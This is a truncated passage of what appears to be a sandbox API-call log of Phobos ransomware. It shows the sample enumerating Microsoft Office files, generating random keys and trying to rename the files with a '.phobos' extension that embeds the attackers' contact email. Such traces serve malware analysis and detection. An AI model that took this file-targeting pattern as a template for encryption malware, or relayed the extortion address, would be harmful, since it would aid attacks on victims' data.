dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.691] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=52580) returned 1 [0155.691] CloseHandle (hObject=0x574) returned 1 [0155.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlts.dat")) returned 0x220 [0155.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlts.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlts.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.692] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchphn.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.692] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3352) returned 1 [0155.692] CloseHandle (hObject=0x574) returned 1 [0155.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchphn.dat")) returned 0x220 [0155.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchphn.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchphn.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.693] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.694] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10500679) returned 1 [0155.694] CloseHandle (hObject=0x574) returned 1 [0155.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat")) returned 0x220 [0155.694] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0155.694] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchsrn.dat")) returned 0 [0155.694] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\FONTSCHM.INI" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\fontschm.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.696] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3255) returned 1 [0155.697] CloseHandle (hObject=0x574) returned 1 [0155.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\FONTSCHM.INI" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\fontschm.ini")) returned 0x220 [0155.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\FONTSCHM.INI.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\fontschm.ini.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\FONTSCHM.INI" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\fontschm.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.697] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme01.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.698] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=126630) returned 1 [0155.698] CloseHandle (hObject=0x574) returned 1 [0155.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme01.css")) returned 0x220 [0155.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme01.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme01.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.699] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme02.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.700] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=129982) returned 1 [0155.700] CloseHandle (hObject=0x574) returned 1 [0155.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme02.css")) returned 0x220 [0155.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme02.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme02.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.701] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme03.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.702] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=127012) returned 1 [0155.702] CloseHandle (hObject=0x574) returned 1 [0155.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme03.css")) returned 0x220 [0155.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme03.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme03.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.702] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme04.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.703] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=128226) returned 1 [0155.703] CloseHandle (hObject=0x574) returned 1 [0155.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme04.css")) returned 0x220 [0155.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme04.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme04.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.703] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme05.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.704] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=126394) returned 1 [0155.704] CloseHandle (hObject=0x574) returned 1 [0155.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme05.css")) returned 0x220 [0155.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme05.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme05.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.705] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme06.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.705] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=127706) returned 1 [0155.706] CloseHandle (hObject=0x574) returned 1 [0155.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme06.css")) returned 0x220 [0155.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme06.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme06.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.706] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme07.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.706] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=130902) returned 1 [0155.706] CloseHandle (hObject=0x574) returned 1 [0155.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme07.css")) returned 0x220 [0155.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme07.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme07.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.707] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme08.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.708] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=129432) returned 1 [0155.708] CloseHandle (hObject=0x574) returned 1 [0155.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme08.css")) returned 0x220 [0155.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme08.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme08.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.709] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme09.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.709] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=132164) returned 1 [0155.709] CloseHandle (hObject=0x574) returned 1 [0155.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme09.css")) returned 0x220 [0155.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme09.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme09.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.710] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme10.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.710] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=132906) returned 1 [0155.710] CloseHandle (hObject=0x574) returned 1 [0155.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme10.css")) returned 0x220 [0155.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme10.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme10.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.711] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme11.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.712] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=131120) returned 1 [0155.712] CloseHandle (hObject=0x574) returned 1 [0155.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme11.css")) returned 0x220 [0155.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme11.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme11.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.712] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme12.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.713] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=123034) returned 1 [0155.713] CloseHandle (hObject=0x574) returned 1 [0155.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme12.css")) returned 0x220 [0155.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme12.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme12.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.713] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme13.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 